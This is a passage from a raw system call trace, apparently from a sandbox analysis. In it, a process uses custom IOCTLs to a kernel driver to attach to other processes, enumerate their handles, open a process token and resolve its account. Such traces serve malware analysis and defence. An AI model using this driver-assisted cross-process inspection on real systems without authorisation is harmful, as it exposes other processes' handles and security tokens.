Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800327bf20, HandleInformation=0x0) returned 0x0 [0104.656] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.656] PsReleaseProcessExitSynchronization () returned 0x2 [0104.656] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0104.656] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.656] ObfDereferenceObject (Object=0xfffffa800327bf20) returned 0x1 [0104.656] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.656] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.656] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.656] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.656] PsAcquireProcessExitSynchronization () returned 0x0 [0104.656] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0) [0104.656] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800327b2f0, HandleInformation=0x0) returned 0x0 [0104.656] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.656] PsReleaseProcessExitSynchronization () returned 0x2 [0104.656] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0104.656] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.656] ObfDereferenceObject (Object=0xfffffa800327b2f0) returned 0x1 [0104.656] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.656] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.656] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.656] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.656] PsAcquireProcessExitSynchronization () returned 0x0 [0104.656] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0) [0104.656] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.657] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.657] PsReleaseProcessExitSynchronization () returned 0x2 [0104.657] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0104.657] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.657] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.657] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.657] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.657] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.657] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.657] PsAcquireProcessExitSynchronization () returned 0x0 [0104.657] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0) [0104.657] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.657] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.657] PsReleaseProcessExitSynchronization () returned 0x2 [0104.657] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0104.657] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.657] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.657] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.657] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.657] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.657] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.657] PsAcquireProcessExitSynchronization () returned 0x0 [0104.657] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0) [0104.657] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.657] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.657] PsReleaseProcessExitSynchronization () returned 0x2 [0104.657] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0104.657] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.657] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.657] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.657] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.658] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0104.658] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.658] PsAcquireProcessExitSynchronization () returned 0x0 [0104.658] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0) [0104.658] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80035087c0, HandleInformation=0x0) returned 0x0 [0104.658] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.658] PsReleaseProcessExitSynchronization () returned 0x2 [0104.658] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0104.658] ObQueryNameString (in: Object=0xfffffa80035087c0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.658] ObfDereferenceObject (Object=0xfffffa80035087c0) returned 0xb [0104.658] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.658] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.658] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0104.658] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.658] PsAcquireProcessExitSynchronization () returned 0x0 [0104.658] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0) [0104.658] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001ab88f0, HandleInformation=0x0) returned 0x0 [0104.658] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.658] PsReleaseProcessExitSynchronization () returned 0x2 [0104.658] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0104.658] ObQueryNameString (in: Object=0xfffff8a001ab88f0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.658] ObfDereferenceObject (Object=0xfffff8a001ab88f0) returned 0x2 [0104.658] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.658] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.658] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0104.658] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.658] PsAcquireProcessExitSynchronization () returned 0x0 [0104.659] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0) [0104.659] ObReferenceObjectByHandle (in: Handle=0x1ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800351aab0, HandleInformation=0x0) returned 0x0 [0104.659] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.659] PsReleaseProcessExitSynchronization () returned 0x2 [0104.659] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0104.659] ObQueryNameString (in: Object=0xfffffa800351aab0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.659] ObfDereferenceObject (Object=0xfffffa800351aab0) returned 0x1 [0104.659] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.659] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.659] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0104.659] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.659] PsAcquireProcessExitSynchronization () returned 0x0 [0104.659] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0) [0104.659] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003504d10, HandleInformation=0x0) returned 0x0 [0104.659] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.659] PsReleaseProcessExitSynchronization () returned 0x2 [0104.659] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0104.659] ObQueryNameString (in: Object=0xfffffa8003504d10, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.659] ObfDereferenceObject (Object=0xfffffa8003504d10) returned 0x11 [0104.659] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.659] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.659] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0104.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.659] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002b78b30, HandleInformation=0x0) returned 0x0 [0104.659] ObOpenObjectByPointer (in: Object=0xfffffa8002b78b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.659] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0104.659] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80036e5180 | out: TokenHandle=0xfffffa80036e5180*=0xc8) returned 0x0 [0104.659] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.660] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.660] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.660] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.661] CloseHandle (hObject=0xc8) returned 1 [0104.661] CloseHandle (hObject=0xc0) returned 1 [0104.661] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.661] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.661] PsAcquireProcessExitSynchronization () returned 0x0 [0104.661] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.661] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800328c550, HandleInformation=0x0) returned 0x0 [0104.661] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.662] PsReleaseProcessExitSynchronization () returned 0x2 [0104.662] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.662] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.662] ObfDereferenceObject (Object=0xfffffa800328c550) returned 0x1 [0104.662] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.662] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.662] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.662] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.662] PsAcquireProcessExitSynchronization () returned 0x0 [0104.662] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.662] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800328d070, HandleInformation=0x0) returned 0x0 [0104.662] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.662] PsReleaseProcessExitSynchronization () returned 0x2 [0104.662] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.662] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.662] ObfDereferenceObject (Object=0xfffffa800328d070) returned 0x1 [0104.662] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.662] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.662] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.662] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.662] PsAcquireProcessExitSynchronization () returned 0x0 [0104.662] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.662] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003294510, HandleInformation=0x0) returned 0x0 [0104.662] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.662] PsReleaseProcessExitSynchronization () returned 0x2 [0104.662] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.662] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.662] ObfDereferenceObject (Object=0xfffffa8003294510) returned 0x1 [0104.662] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.662] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.662] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.663] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.663] PsAcquireProcessExitSynchronization () returned 0x0 [0104.663] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.663] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032943c0, HandleInformation=0x0) returned 0x0 [0104.663] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.663] PsReleaseProcessExitSynchronization () returned 0x2 [0104.663] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.663] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.663] ObfDereferenceObject (Object=0xfffffa80032943c0) returned 0x1 [0104.663] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.663] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.663] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0104.663] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.663] PsAcquireProcessExitSynchronization () returned 0x0 [0104.663] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.663] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003295070, HandleInformation=0x0) returned 0x0 [0104.663] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.663] PsReleaseProcessExitSynchronization () returned 0x2 [0104.663] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.663] ObQueryNameString (in: Object=0xfffffa80027ac060, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.663] ObfDereferenceObject (Object=0xfffffa8003295070) returned 0x1 [0104.663] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.663] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.663] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0104.663] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.663] PsAcquireProcessExitSynchronization () returned 0x0 [0104.663] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.663] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | 